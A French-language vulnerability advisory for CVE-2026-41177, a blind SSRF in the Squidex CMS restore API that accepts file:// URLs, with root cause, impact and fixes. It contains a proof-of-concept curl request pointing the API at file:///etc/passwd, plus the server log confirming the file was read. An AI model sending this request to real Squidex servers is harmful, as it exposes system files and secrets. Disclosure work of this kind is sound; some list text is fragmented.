
CVE-2026-41177, une vulnérabilité SSRF aveugle dans Squidex CMS (avant la v7.23.0). Comprend une analyse de la cause racine, des étapes de reproduction et une évaluation de l'impact concernant l'interaction avec les fichiers locaux (LFI).
Recherche technique et analyse pour CVE-2026-41177 : une vulnérabilité de Server-Side Request Forgery (SSRF) aveugle dans l'API de restauration de Squidex CMS.
/api/apps/restore)L'API de restauration de Squidex est vulnérable à une Server-Side Request Forgery (SSRF) aveugle. L'application ne valide pas le schéma d'URI du paramètre Url fourni par l'utilisateur, ce qui permet l'utilisation du protocole file://. Cela permet à un administrateur authentifié de forcer le serveur backend à interagir avec le système de fichiers local, conduisant à une interaction avec les fichiers locaux (LFI) et à une divulgation potentielle d'informations système sensibles via une analyse par canal auxiliaire des journaux internes.
file:///etc/passwd).RestoreJob).204 No Content générique, les journaux internes du serveur révèlent que le serveur a ouvert et lu le fichier avec succès avant d'échouer, car le contenu n'était pas une archive ZIP valide.Exécutez la commande curl suivante (remplacez <TOKEN> par un jeton administrateur valide) :
curl -X POST http://localhost/api/apps/restore/ \
-H 'Authorization: Bearer <TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"Url": "file:///etc/passwd",
"Name": "exploit-poc"
}' -v
L'erreur suivante dans les journaux du conteneur Squidex confirme l'interaction interne avec le fichier :
{
"logLevel": "Error",
"message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
"exception": {
"type": "System.IO.InvalidDataException",
"message": "End of Central Directory record could not be found.",
"stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
}
}
Remarque : l'InvalidDataException confirme que le serveur a accédé avec succès aux octets du fichier et les a lus.
Cette vulnérabilité permet aux attaquants authentifiés de :
appsettings.json, secrets).http:// et https://.file:// avant le traitement.